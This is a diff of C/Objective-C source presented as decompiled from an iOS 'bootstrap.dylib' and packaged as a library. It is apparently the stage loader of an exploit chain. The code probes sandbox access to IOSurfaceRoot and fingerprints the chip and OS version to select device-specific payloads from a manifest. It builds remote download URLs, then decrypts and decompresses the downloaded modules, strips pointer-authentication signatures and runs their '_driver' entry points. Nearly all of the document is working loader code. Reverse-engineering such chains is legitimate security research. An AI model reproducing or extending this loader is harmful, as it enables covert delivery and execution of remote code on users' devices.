for (int i = 0; i < MAX_CONTAINERS; i++) {
|
||||
if (ctx->containers[i].type == type) {
|
||||
slot = &ctx->containers[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!slot)
|
||||
return ERR_NO_CONTAINER;
|
||||
|
||||
if (slot->resolved_ptr) {
|
||||
err = ctx->fn_unload_cont(ctx, slot->resolved_ptr);
|
||||
if (err)
|
||||
return err;
|
||||
}
|
||||
|
||||
slot->resolved_ptr = NULL;
|
||||
slot->field_20 = 0;
|
||||
*(uint32_t *)((uint8_t *)slot + 0x20) = 0;
|
||||
print_log("[bootstrap] unload_container: type=0x%x", type);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── get_container_ptr (0x8080) ─────────────────────────────────── */
|
||||
|
||||
uint32_t get_container_ptr(bootstrap_ctx_t *ctx, uint32_t type, void **out)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx || !out)
|
||||
return err;
|
||||
|
||||
*out = NULL;
|
||||
if (!type)
|
||||
return err;
|
||||
|
||||
container_slot_t *slot = NULL;
|
||||
for (int i = 0; i < MAX_CONTAINERS; i++) {
|
||||
if (ctx->containers[i].type == type) {
|
||||
slot = &ctx->containers[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!slot)
|
||||
return ERR_NO_CONTAINER;
|
||||
|
||||
if (slot->resolved_ptr) {
|
||||
*out = slot->resolved_ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
err = find_or_load_container(ctx, type);
|
||||
if (err)
|
||||
return err;
|
||||
|
||||
*out = slot->resolved_ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── get_raw_data (0x812c) ──────────────────────────────────────── */
|
||||
|
||||
uint32_t get_raw_data(bootstrap_ctx_t *ctx, uint32_t type,
|
||||
void **out_ptr, uint32_t *out_size)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx || !out_ptr || !out_size)
|
||||
return err;
|
||||
|
||||
*out_ptr = NULL;
|
||||
*out_size = 0;
|
||||
if (!type)
|
||||
return err;
|
||||
|
||||
for (int i = 0; i < MAX_CONTAINERS; i++) {
|
||||
print_log("ctx->containers[i].type %d == type %d", ctx->containers[i].type, type);
|
||||
if (ctx->containers[i].type == type) {
|
||||
void *data = ctx->containers[i].data_ptr;
|
||||
if (!data)
|
||||
return ERR_NO_DATA;
|
||||
uint32_t sz = ctx->containers[i].data_size;
|
||||
if (!sz)
|
||||
return ERR_NO_DATA;
|
||||
|
||||
*out_ptr = data;
|
||||
*out_size = sz;
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return ERR_NO_CONTAINER;
|
||||
}
|
||||
|
||||
/* ── init_function_table (0x8210) ───────────────────────────────── */
|
||||
|
||||
uint32_t init_function_table(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
print_log("[bootstrap] init_function_table");
|
||||
for (int i = 0; i < MAX_CONTAINERS; i++)
|
||||
memset(&ctx->containers[i], 0, sizeof(container_slot_t));
|
||||
|
||||
ctx->fn_parse_container = (fn_parse_container_t)parse_foodbeef;
|
||||
ctx->fn_resolve_all = (fn_resolve_all_t)resolve_all_containers;
|
||||
ctx->fn_find_or_load = (fn_find_or_load_t)find_or_load_container;
|
||||
ctx->fn_unload = (fn_unload_t)unload_container;
|
||||
ctx->fn_get_pointer = (fn_get_pointer_t)get_container_ptr;
|
||||
ctx->fn_get_raw_data = (fn_get_raw_data_t)get_raw_data;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── load_module (0x8590) ───────────────────────────────────────── */
|
||||
|
||||
uint32_t load_module(bootstrap_ctx_t *ctx, uint32_t type, void **out)
|
||||
{
|
||||
print_log("[bootstrap] load_module: type=0x%x", type);
|
||||
|
||||
void *raw_ptr = NULL;
|
||||
uint32_t raw_size = 0;
|
||||
void *decrypted = NULL;
|
||||
void *dlsym_result = NULL;
|
||||
|
||||
uint32_t err = ctx->fn_get_raw_data(ctx, type, &raw_ptr, &raw_size);
|
||||
if (err) {
|
||||
print_log("[bootstrap] load_module: get_raw_data FAIL err=0x%x", err);
|
||||
return err;
|
||||
}
|
||||
|
||||
module_handle_t *handle = (module_handle_t *)malloc(sizeof(module_handle_t));
|
||||
if (!handle)
|
||||
return ERR_GENERIC;
|
||||
|
||||
err = ((fn_decrypt_t)ctx->decrypt_func)(ctx, raw_ptr, raw_size, &decrypted);
|
||||
if (err)
|
||||
goto fail;
|
||||
|
||||
if (ctx->fn_icache_flush) {
|
||||
uint8_t *code = *(uint8_t **)((uint8_t *)decrypted + 0x58);
|
||||
uint32_t code_size = *(uint32_t *)((uint8_t *)decrypted + 0xa8);
|
||||
ctx->fn_icache_flush(ctx, code, code_size);
|
||||
}
|
||||
|
||||
handle->container = decrypted;
|
||||
|
||||
err = ((fn_dlsym_t)ctx->dlsym_func)(ctx, decrypted, "_driver", &dlsym_result);
|
||||
if (err) {
|
||||
print_log("[bootstrap] load_module: dlsym _driver FAIL err=0x%x", err);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
handle->vtable = NULL;
|
||||
typedef uint32_t (*driver_fn_t)(void *, module_vtable_t **);
|
||||
err = SIGN_FPTR(driver_fn_t, dlsym_result)(decrypted, &handle->vtable);
|
||||
if (err)
|
||||
goto fail;
|
||||
|
||||
module_vtable_t *vt = handle->vtable;
|
||||
if (!vt)
|
||||
goto fail_vtable;
|
||||
|
||||
sign_vtable_fptrs(vt);
|
||||
|
||||
if (vt->version != 2)
|
||||
goto fail;
|
||||
if (vt->num_funcs < 2)
|
||||
goto fail;
|
||||
|
||||
vt->fn_deinit = (void *)strip_pac((uint64_t)vt->fn_deinit);
|
||||
vt->fn_init = (void *)strip_pac((uint64_t)vt->fn_init);
|
||||
vt->fn_cleanup = (void *)strip_pac((uint64_t)vt->fn_cleanup);
|
||||
vt->fn_command = (void *)strip_pac((uint64_t)vt->fn_command);
|
||||
vt->fn_30 = (void *)strip_pac((uint64_t)vt->fn_30);
|
||||
vt->fn_38 = (void *)strip_pac((uint64_t)vt->fn_38);
|
||||
vt->fn_40 = (void *)strip_pac((uint64_t)vt->fn_40);
|
||||
vt->fn_48 = (void *)strip_pac((uint64_t)vt->fn_48);
|
||||
|
||||
print_log("[bootstrap] load_module: OK vtable version=%d funcs=%d", vt->version, vt->num_funcs);
|
||||
*out = handle;
|
||||
return 0;
|
||||
|
||||
fail_vtable:
|
||||
err = ERR_MODULE_NO_VTBL;
|
||||
fail:
|
||||
print_log("[bootstrap] load_module: FAIL err=0x%x", err);
|
||||
if (decrypted && ctx->fn_unload_cont)
|
||||
ctx->fn_unload_cont(ctx, decrypted);
|
||||
free(handle);
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ── load_module_wrapper (0x8798) ───────────────────────────────── */
|
||||
|
||||
uint32_t load_module_wrapper(bootstrap_ctx_t *ctx, void **out)
|
||||
{
|
||||
return load_module(ctx, CONTAINER_TYPE_LOADER, out);
|
||||
}
|
||||
|
||||
/* ── module_call_init (0x87d8) ──────────────────────────────────── */
|
||||
|
||||
uint32_t module_call_init(module_handle_t *handle, uint32_t mode, void **out)
|
||||
{
|
||||
if (!handle)
|
||||
return ERR_NULL_CTX;
|
||||
if (!out)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
module_vtable_t *vt = handle->vtable;
|
||||
if (!vt)
|
||||
return ERR_MODULE_NO_VTBL;
|
||||
|
||||
print_log("[bootstrap] module_call_init: mode=%u", mode);
|
||||
typedef uint32_t (*init_fn_t)(module_vtable_t *, uint32_t, void **);
|
||||
return ((init_fn_t)vt->fn_init)(vt, mode, out);
|
||||
}
|
||||
|
||||
/* ── module_call_cmd (0x8840) ───────────────────────────────────── */
|
||||
|
||||
uint32_t module_call_cmd(module_handle_t *handle, void *arg1,
|
||||
uint32_t cmd, void *arg3)
|
||||
{
|
||||
if (!handle)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
uint32_t err = ERR_MODULE_NO_INIT;
|
||||
if (!arg1)
|
||||
return err;
|
||||
|
||||
module_vtable_t *vt = handle->vtable;
|
||||
if (!vt)
|
||||
return err + 4;
|
||||
|
||||
print_log("[bootstrap] module_call_cmd: cmd=0x%x", cmd);
|
||||
typedef uint32_t (*cmd_fn_t)(module_vtable_t *, void *, uint32_t, void *);
|
||||
return ((cmd_fn_t)vt->fn_command)(vt, arg1, cmd, arg3);
|
||||
}
|
||||
|
||||
/* ── module_call_cleanup (0x88b4) ───────────────────────────────── */
|
||||
|
||||
uint32_t module_call_cleanup(module_handle_t *handle, void *arg)
|
||||
{
|
||||
if (!handle)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
uint32_t err = ERR_MODULE_NO_INIT;
|
||||
if (!arg)
|
||||
return err;
|
||||
|
||||
module_vtable_t *vt = handle->vtable;
|
||||
if (!vt)
|
||||
return err + 4;
|
||||
|
||||
print_log("[bootstrap] module_call_cleanup");
|
||||
typedef uint32_t (*cleanup_fn_t)(module_vtable_t *, void *);
|
||||
return ((cleanup_fn_t)vt->fn_cleanup)(vt, arg);
|
||||
}
|
||||
|
||||
/* ── close_module (0x8928) ──────────────────────────────────────── */
|
||||
|
||||
uint32_t close_module(bootstrap_ctx_t *ctx, module_handle_t *handle)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx || !handle)
|
||||
return err;
|
||||
|
||||
module_vtable_t *vt = handle->vtable;
|
||||
if (!vt)
|
||||
return ERR_MODULE_NO_VTBL;
|
||||
|
||||
print_log("[bootstrap] close_module");
|
||||
typedef void (*deinit_fn_t)(module_vtable_t *);
|
||||
((deinit_fn_t)vt->fn_deinit)(vt);
|
||||
|
||||
err = ctx->fn_unload_cont(ctx, handle->container);
|
||||
|
||||
handle->container = NULL;
|
||||
handle->vtable = NULL;
|
||||
free(handle);
|
||||
return err;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
Package: com.yourcompany.bootstrap
|
||||
Name: bootstrap
|
||||
Version: 0.0.1
|
||||
Architecture: iphoneos-arm
|
||||
Description: An awesome library of some sort!!
|
||||
Maintainer: khanhduytran0
|
||||
Author: khanhduytran0
|
||||
Section: System
|
||||
Tag: role::developer
|
||||
@@ -0,0 +1,148 @@
|
||||
/*
|
||||
* crypto.m - ChaCha20 encryption and LZMA decompression
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0xad8c-0xb09c, 0x8430-0x858c
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <string.h>
|
||||
#import <stdlib.h>
|
||||
#import <compression.h>
|
||||
|
||||
/* ── ChaCha20 quarter round macros ───────────────────────────────── */
|
||||
|
||||
#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))
|
||||
|
||||
#define QR(a, b, c, d) do { \
|
||||
a += b; d ^= a; d = ROTL32(d, 16); \
|
||||
c += d; b ^= c; b = ROTL32(b, 12); \
|
||||
a += b; d ^= a; d = ROTL32(d, 8); \
|
||||
c += d; b ^= c; b = ROTL32(b, 7); \
|
||||
} while(0)
|
||||
|
||||
static const uint32_t sigma[4] = {
|
||||
0x61707865, 0x3320646e, 0x79622d32, 0x6b206574
|
||||
};
|
||||
|
||||
/* ── chacha20_encrypt (0xad8c) ───────────────────────────────────── */
|
||||
|
||||
void chacha20_encrypt(uint8_t *key, uint8_t *data, uint64_t size)
|
||||
{
|
||||
if (!key || !data || !size)
|
||||
return;
|
||||
|
||||
print_log("[bootstrap] chacha20_encrypt: size=%llu", size);
|
||||
|
||||
uint32_t state[16];
|
||||
uint32_t working[16];
|
||||
|
||||
state[0] = sigma[0];
|
||||
state[1] = sigma[1];
|
||||
state[2] = sigma[2];
|
||||
state[3] = sigma[3];
|
||||
|
||||
memcpy(&state[4], key, 32);
|
||||
|
||||
state[12] = 0;
|
||||
state[13] = 0;
|
||||
state[14] = 0;
|
||||
state[15] = 0;
|
||||
|
||||
uint64_t offset = 0;
|
||||
uint64_t ks_pos = 64;
|
||||
|
||||
while (offset < size) {
|
||||
if (ks_pos >= 64) {
|
||||
memcpy(working, state, 64);
|
||||
|
||||
for (int i = 0; i < 10; i++) {
|
||||
QR(working[0], working[4], working[ 8], working[12]);
|
||||
QR(working[1], working[5], working[ 9], working[13]);
|
||||
QR(working[2], working[6], working[10], working[14]);
|
||||
QR(working[3], working[7], working[11], working[15]);
|
||||
QR(working[0], working[5], working[10], working[15]);
|
||||
QR(working[1], working[6], working[11], working[12]);
|
||||
QR(working[2], working[7], working[ 8], working[13]);
|
||||
QR(working[3], working[4], working[ 9], working[14]);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 16; i++)
|
||||
working[i] += state[i];
|
||||
|
||||
state[12]++;
|
||||
if (state[12] == 0)
|
||||
state[13]++;
|
||||
|
||||
ks_pos = 0;
|
||||
}
|
||||
|
||||
data[offset] ^= ((uint8_t *)working)[ks_pos];
|
||||
ks_pos++;
|
||||
offset++;
|
||||
}
|
||||
|
||||
print_log("[bootstrap] chacha20_encrypt: done");
|
||||
}
|
||||
|
||||
/* ── decompress (0x8430) ─────────────────────────────────────────── */
|
||||
|
||||
uint32_t decompress(void **ptr_to_data, uint32_t *ptr_to_size)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
|
||||
if (!ptr_to_data || !ptr_to_size)
|
||||
return err;
|
||||
|
||||
uint8_t *src = (uint8_t *)*ptr_to_data;
|
||||
uint32_t src_size = *ptr_to_size;
|
||||
|
||||
if (!src || !src_size)
|
||||
return err;
|
||||
|
||||
if (src_size < 8)
|
||||
return 0;
|
||||
|
||||
uint32_t magic = *(uint32_t *)src;
|
||||
if (magic != MAGIC_BEDF00D)
|
||||
return 0;
|
||||
|
||||
uint32_t decomp_size = *(uint32_t *)(src + 4);
|
||||
if (!decomp_size)
|
||||
return 0;
|
||||
|
||||
print_log("[bootstrap] decompress: src_size=%u decomp_size=%u", src_size, decomp_size);
|
||||
|
||||
uint32_t comp_data_size = src_size - 8;
|
||||
if (comp_data_size >= decomp_size)
|
||||
return 0;
|
||||
|
||||
uint64_t alloc_size = (uint64_t)decomp_size + 1;
|
||||
uint8_t *dst = (uint8_t *)malloc(alloc_size);
|
||||
if (!dst) {
|
||||
print_log("[bootstrap] decompress: malloc FAIL");
|
||||
return err + 8;
|
||||
}
|
||||
|
||||
memset_s(dst, decomp_size, 0, decomp_size);
|
||||
|
||||
size_t result = compression_decode_buffer(
|
||||
dst, alloc_size,
|
||||
src + 8, comp_data_size,
|
||||
NULL, COMPRESSION_LZMA
|
||||
);
|
||||
|
||||
if (result != decomp_size) {
|
||||
print_log("[bootstrap] decompress: FAIL result=%zu expected=%u", result, decomp_size);
|
||||
memset_s(dst, decomp_size, 0, decomp_size);
|
||||
free(dst);
|
||||
return err + 0xa;
|
||||
}
|
||||
|
||||
memset_s(src, src_size, 0, src_size);
|
||||
free(src);
|
||||
|
||||
*ptr_to_data = dst;
|
||||
*ptr_to_size = decomp_size;
|
||||
print_log("[bootstrap] decompress: OK size=%u", decomp_size);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,716 @@
|
||||
/*
|
||||
* download.m - Download pipeline, sandbox checking, manifest parsing
|
||||
*
|
||||
* Decompiled from bootstrap.dylib offsets 0x89cc-0x8b58, 0x9b60-0xad88
|
||||
*/
|
||||
|
||||
#import "bootstrap.h"
|
||||
#import <string.h>
|
||||
#import <stdlib.h>
|
||||
#import <sys/utsname.h>
|
||||
#import <sys/sysctl.h>
|
||||
|
||||
extern int sandbox_check(pid_t pid, const char *operation, int type, ...);
|
||||
extern int SANDBOX_CHECK_NO_REPORT;
|
||||
|
||||
/* ── check_sandbox (0x89cc) ────────────────────────────────────── */
|
||||
|
||||
uint32_t check_sandbox(bootstrap_ctx_t *ctx, uint8_t *out)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!out)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
*out = 0;
|
||||
int ret = sandbox_check(getpid(), "iokit-open-service",
|
||||
SANDBOX_CHECK_NO_REPORT,
|
||||
"IOSurfaceRoot");
|
||||
*out = (ret > 0) ? 1 : 0;
|
||||
print_log("[bootstrap] check_sandbox: sandboxed=%d", *out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── init_sandbox_and_ua (0x8ab8) ──────────────────────────────── */
|
||||
|
||||
uint32_t init_sandbox_and_ua(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
if (!ctx)
|
||||
return ERR_NULL_CTX;
|
||||
|
||||
uint8_t sb = 0;
|
||||
uint32_t err = check_sandbox(ctx, &sb);
|
||||
if (err)
|
||||
return err;
|
||||
ctx->is_sandboxed = sb;
|
||||
|
||||
char *base = (char *)ctx->secondary_url;
|
||||
if (base && base[0]) {
|
||||
if (strncmp(base, "http://", 7) != 0 &&
|
||||
strncmp(base, "https://", 8) != 0) {
|
||||
print_log("[bootstrap] init_sandbox_and_ua: bad secondary_url scheme");
|
||||
return ERR_NULL_CTX + 0x13;
|
||||
}
|
||||
}
|
||||
|
||||
char *alt = ctx->alt_url;
|
||||
if (alt && alt[0]) {
|
||||
if (strncmp(alt, "http://", 7) != 0 &&
|
||||
strncmp(alt, "https://", 8) != 0) {
|
||||
print_log("[bootstrap] init_sandbox_and_ua: bad alt_url scheme");
|
||||
return ERR_NULL_CTX + 0x13;
|
||||
}
|
||||
}
|
||||
|
||||
print_log("[bootstrap] init_sandbox_and_ua: OK sandboxed=%d", sb);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── is_a15_or_newer (0x9b60) ──────────────────────────────────── */
|
||||
|
||||
int is_a15_or_newer(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
if (!ctx)
|
||||
return 0;
|
||||
|
||||
uint32_t os_ver = ctx->os_version;
|
||||
|
||||
if (os_ver > 0x1006FF)
|
||||
return 1;
|
||||
|
||||
if (os_ver > 0x100400) {
|
||||
uint32_t cpu = ctx->cpu_type;
|
||||
if (cpu > (int32_t)SOC_TYPE_C) {
|
||||
if (cpu == SOC_TYPE_D || cpu == SOC_TYPE_E)
|
||||
return 0;
|
||||
} else {
|
||||
if (cpu == SOC_TYPE_A)
|
||||
return 0;
|
||||
if (cpu == SOC_TYPE_B)
|
||||
return 0;
|
||||
}
|
||||
/* A12/A11 are NOT A15+; they need the standard download path */
|
||||
if (cpu == SOC_DEVICE_B_A || cpu == SOC_DEVICE_B_B)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (os_ver < 0xE0802)
|
||||
return 1;
|
||||
|
||||
uint32_t shifted = (os_ver + 0xFFF0F8F9);
|
||||
if ((shifted + 0x507) >> 9 > 0x7E)
|
||||
return 0;
|
||||
|
||||
char model[0x20];
|
||||
memset(model, 0, sizeof(model));
|
||||
size_t model_len = 0x20;
|
||||
if (sysctlbyname("hw.model", model, &model_len, NULL, 0) != 0)
|
||||
return 0;
|
||||
|
||||
if ((model[0] & ~0x20) != 'J')
|
||||
return 0;
|
||||
|
||||
uint64_t features = ctx->cpu_features;
|
||||
return ((features - 0x40000001ULL) >> 30) == 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
/* ── get_arch_flags (0xab8c) ───────────────────────────────────── */
|
||||
|
||||
uint32_t get_arch_flags(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
if (!ctx)
|
||||
return 0;
|
||||
|
||||
int a15 = is_a15_or_newer(ctx);
|
||||
if (a15 & 1)
|
||||
return 0x900000;
|
||||
|
||||
uint32_t os_ver = ctx->os_version;
|
||||
if (os_ver > 0x100500)
|
||||
return 0x800000;
|
||||
if (os_ver >> 20)
|
||||
return 0x700000;
|
||||
|
||||
if (os_ver > 0xDFFFF) {
|
||||
if (os_ver > (0xDFFFF + 0x500))
|
||||
return 0x700000;
|
||||
return 0x400000;
|
||||
}
|
||||
if (os_ver > 0xF0706)
|
||||
return 0x800000;
|
||||
|
||||
if (os_ver <= 0xDFFFF)
|
||||
return 0x300000;
|
||||
return (os_ver > (0xDFFFF + 0x500)) ? 0x700000 : 0x400000;
|
||||
}
|
||||
|
||||
/* ── download_manifest (0x9f18) ────────────────────────────────── */
|
||||
|
||||
uint32_t download_manifest(bootstrap_ctx_t *ctx, uint32_t flags,
|
||||
void *manifest, uint32_t manifest_size,
|
||||
char *url_buf, uint32_t url_size,
|
||||
void **key_out)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx || !manifest)
|
||||
return err;
|
||||
if (manifest_size < MANIFEST_ENTRY_OFFSET)
|
||||
return err;
|
||||
|
||||
manifest_header_t *hdr = (manifest_header_t *)manifest;
|
||||
if (hdr->magic != MAGIC_MANIFEST)
|
||||
return err;
|
||||
|
||||
char *base_path = (char *)manifest + 0x8;
|
||||
if (!base_path[0])
|
||||
return err;
|
||||
if (((uint8_t *)manifest)[0x107])
|
||||
return err;
|
||||
|
||||
uint32_t entry_count = hdr->entry_count;
|
||||
if (!entry_count)
|
||||
return err;
|
||||
if (!url_buf || !url_size || !key_out)
|
||||
return err;
|
||||
|
||||
print_log("[bootstrap] download_manifest: flags=0x%x entries=%u", flags, entry_count);
|
||||
|
||||
if (!flags) {
|
||||
print_log("[bootstrap] download_manifest: no flags, skipping manifest processing");
|
||||
return ERR_NULL_CTX - 0x7D000;
|
||||
}
|
||||
|
||||
uint8_t *entries_base = (uint8_t *)manifest + MANIFEST_ENTRY_OFFSET;
|
||||
uint8_t *data_end = (uint8_t *)manifest + manifest_size;
|
||||
|
||||
for (uint32_t i = 0; i < entry_count; i++) {
|
||||
uint8_t *entry_ptr = entries_base + i * MANIFEST_ENTRY_SIZE;
|
||||
|
||||
if (entry_ptr < (uint8_t *)manifest ||
|
||||
entry_ptr + MANIFEST_ENTRY_SIZE > data_end) {
|
||||
print_log("[bootstrap] download_manifest: entry[%u] out of bounds", i);
|
||||
return ERR_NULL_CTX + 0x13;
|
||||
}
|
||||
|
||||
if (entry_ptr[MANIFEST_ENTRY_SIZE - 1] != 0)
|
||||
continue;
|
||||
|
||||
uint32_t entry_flags = *(uint32_t *)entry_ptr;
|
||||
if (entry_flags != flags)
|
||||
continue;
|
||||
|
||||
print_log("[bootstrap] download_manifest: found matching entry[%u] flags=0x%x", i, entry_flags);
|
||||
|
||||
{
|
||||
char path_buf[0x200];
|
||||
memset(path_buf, 0, sizeof(path_buf));
|
||||
|
||||
size_t base_len = strlen(base_path);
|
||||
char *filename = (char *)(entry_ptr + 0x24);
|
||||
|
||||
uint8_t last_char = ((uint8_t *)manifest)[base_len + 0x7];
|
||||
const char *fmt = (last_char == '/') ? "%s%s" : "%s/%s";
|
||||
|
||||
int ret = snprintf(path_buf, 0x200, fmt, base_path, filename);
|
||||
if (ret > 0x1FF) {
|
||||
print_log("[bootstrap] download_manifest: path too long after formatting");
|
||||
return ERR_NULL_CTX + 0x13 - 0x8;
|
||||
}
|
||||
|
||||
if (!path_buf[0]) {
|
||||
err = 0;
|
||||
*key_out = (void *)(entry_ptr + 0x4);
|
||||
print_log("[bootstrap] download_manifest: empty path after formatting");
|
||||
return err;
|
||||
}
|
||||
|
||||
if ((*(uint32_t *)path_buf ^ 0x70747468) == 0 &&
|
||||
(*(uint32_t *)(path_buf + 3) ^ 0x2F2F3A70) == 0) {
|
||||
strlcpy(url_buf, path_buf, url_size);
|
||||
err = 0;
|
||||
*key_out = (void *)(entry_ptr + 0x4);
|
||||
print_log("[bootstrap] download_manifest: absolute http URL=%s", url_buf);
|
||||
return err;
|
||||
}
|
||||
|
||||
if (*(uint64_t *)path_buf == 0x2F2F3A7370747468ULL) {
|
||||
strlcpy(url_buf, path_buf, url_size);
|
||||
err = 0;
|
||||
*key_out = (void *)(entry_ptr + 0x4);
|
||||
print_log("[bootstrap] download_manifest: absolute https URL=%s", url_buf);
|
||||
return err;
|
||||
}
|
||||
|
||||
char *base_url = ctx->secondary_url;
|
||||
if (!base_url || !base_url[0]) {
|
||||
print_log("[bootstrap] download_manifest: no base URL for relative path");
|
||||
return ERR_NULL_CTX + (int32_t)0xFFF83002;
|
||||
}
|
||||
|
||||
if (strncmp(base_url, "https://", 8) == 0) {
|
||||
/* https */
|
||||
} else if (strncmp(base_url, "http://", 7) == 0) {
|
||||
/* http */
|
||||
} else {
|
||||
print_log("[bootstrap] download_manifest: invalid base URL scheme");
|
||||
return ERR_NULL_CTX + (int32_t)0xFFF83003;
|
||||
}
|
||||
|
||||
char *after_scheme = base_url + (strncmp(base_url, "https://", 8) == 0 ? 8 : 7);
|
||||
char *slash = strchr(after_scheme, '/');
|
||||
|
||||
size_t base_copy_len;
|
||||
if (slash) {
|
||||
base_copy_len = (size_t)(slash + 1 - base_url);
|
||||
} else {
|
||||
base_copy_len = strlen(base_url);
|
||||
}
|
||||
|
||||
char *rel = path_buf;
|
||||
if (path_buf[0] == '.' && path_buf[1] == '/')
|
||||
rel++;
|
||||
|
||||
while (*rel == '/')
|
||||
rel++;
|
||||
|
||||
size_t copy_len = base_copy_len + 1;
|
||||
if (copy_len > url_size)
|
||||
copy_len = url_size;
|
||||
strlcpy(url_buf, base_url, copy_len);
|
||||
|
||||
if (!slash) {
|
||||
strlcat(url_buf, "/", url_size);
|
||||
}
|
||||
strlcat(url_buf, rel, url_size);
|
||||
|
||||
err = 0;
|
||||
*key_out = (void *)(entry_ptr + 0x4);
|
||||
print_log("[bootstrap] download_manifest: relative URL=%s", url_buf);
|
||||
return err;
|
||||
}
|
||||
}
|
||||
|
||||
print_log("[bootstrap] download_manifest: no matching entry for flags=0x%x", flags);
|
||||
return ERR_NULL_CTX + 0x13;
|
||||
}
|
||||
|
||||
/* ── download_retries (0x9cb8) ─────────────────────────────────── */
|
||||
|
||||
uint32_t download_retries(bootstrap_ctx_t *ctx, void *data, uint32_t size,
|
||||
char *url_buf, uint32_t url_size, void **key_out)
|
||||
{
|
||||
uint32_t err = ERR_NULL_CTX;
|
||||
if (!ctx || !data)
|
||||
return err;
|
||||
|
||||
uint32_t flags = get_arch_flags(ctx);
|
||||
|
||||
uint32_t device_flags;
|
||||
uint32_t os_ver = ctx->os_version;
|
||||
uint32_t soc_sub = ctx->soc_subversion;
|
||||
|
||||
if (os_ver > (0x0FFFFF + 0x600)) {
|
||||
if (os_ver > 0x0FFFFF) {
|
||||
uint32_t ver_bits = (os_ver >> 8) & 0xF00;
|
||||
int has_e_bits = (os_ver & 0xE00) != 0;
|
||||
|
||||
device_flags = (soc_sub > 1) ? 0x13000000 : 0x12000000;
|
||||
device_flags |= ver_bits;
|
||||
if (has_e_bits)
|
||||
device_flags |= (1 << 5);
|
||||
} else {
|
||||
device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000;
|
||||
}
|
||||
} else if (os_ver >= 0x0E0802) {
|
||||
struct utsname uts;
|
||||
memset(&uts, 0, sizeof(uts));
|
||||
if (uname(&uts) != 0) {
|
||||
device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000;
|
||||
} else {
|
||||
uint32_t name_word = *(uint32_t *)(&uts.machine[0]);
|
||||
uint16_t name_short = *(uint16_t *)(&uts.machine[4]);
|
||||
if ((name_word ^ 0x686F5069) == 0 && (name_short ^ 0x6E65) == 0) {
|
||||
uint32_t ver_bits = (os_ver >> 8) & 0xF00;
|
||||
int has_e_bits = (os_ver & 0xE00) != 0;
|
||||
device_flags = (soc_sub > 1) ? 0x13000000 : 0x12000000;
|
||||
device_flags |= ver_bits;
|
||||
if (has_e_bits)
|
||||
device_flags |= (1 << 5);
|
||||
} else {
|
||||
device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000;
|
||||
}
|
||||
}
|
||||
} else if (os_ver >= 0x0D0000) {
|
||||
uint32_t ver_bits = (os_ver >> 8) & 0xF00;
|
||||
uint32_t minor_bits = (os_ver >> 4) & 0xF0;
|
||||
uint32_t patch_bits = os_ver & 0xF;
|
||||
uint32_t sub_bits;
|
||||
|
||||
if (minor_bits < 0x50)
|
||||
sub_bits = 0;
|
||||
else if (minor_bits > 0x6F)
|
||||
sub_bits = 0x70;
|
||||
else
|
||||
sub_bits = 0x50;
|
||||
|
||||
if (os_ver & 0xF) {
|
||||
/* has patch version */
|
||||
} else {
|
||||
patch_bits = minor_bits;
|
||||
sub_bits = 0x70;
|
||||
}
|
||||
|
||||
if (minor_bits < 0x80) {
|
||||
/* use sub_bits and patch_bits */
|
||||
} else {
|
||||
sub_bits = patch_bits;
|
||||
patch_bits = sub_bits;
|
||||
}
|
||||
|
||||
if (ver_bits < 0xE00) {
|
||||
sub_bits = 0;
|
||||
patch_bits = 0;
|
||||
}
|
||||
|
||||
device_flags = (soc_sub > 1) ? 0x11000000 : 0x10000000;
|
||||
device_flags |= ver_bits | sub_bits | patch_bits;
|
||||
} else {
|
||||
device_flags = 0;
|
||||
flags = 0;
|
||||
}
|
||||
|
||||
uint32_t combined = flags | device_flags;
|
||||
print_log("[bootstrap] download_retries: combined_flags=0x%x", combined);
|
||||
|
||||
err = download_manifest(ctx, combined, data, size,
|
||||
url_buf, url_size, key_out);
|
||||
|
||||
if (err != (ERR_NULL_CTX + 0x7D000))
|
||||
return err;
|
||||
|
||||
print_log("[bootstrap] download_retries: retrying with fallback flags");
|
||||
flags = get_arch_flags(ctx);
|
||||
if (!flags)
|
||||
device_flags = 0;
|
||||
else {
|
||||
uint8_t db = ctx->logging_enabled;
|
||||
if (db & 1) {
|
||||
device_flags = (soc_sub > 1) ? (uint32_t)(-0x1E000000) : 0x02000000;
|
||||
} else {
|
||||
device_flags = 0x01000000;
|
||||
}
|
||||
}
|
||||
|
||||
combined = flags | device_flags;
|
||||
return download_manifest(ctx, combined, data, size,
|
||||
url_buf, url_size, key_out);
|
||||
}
|
||||
|
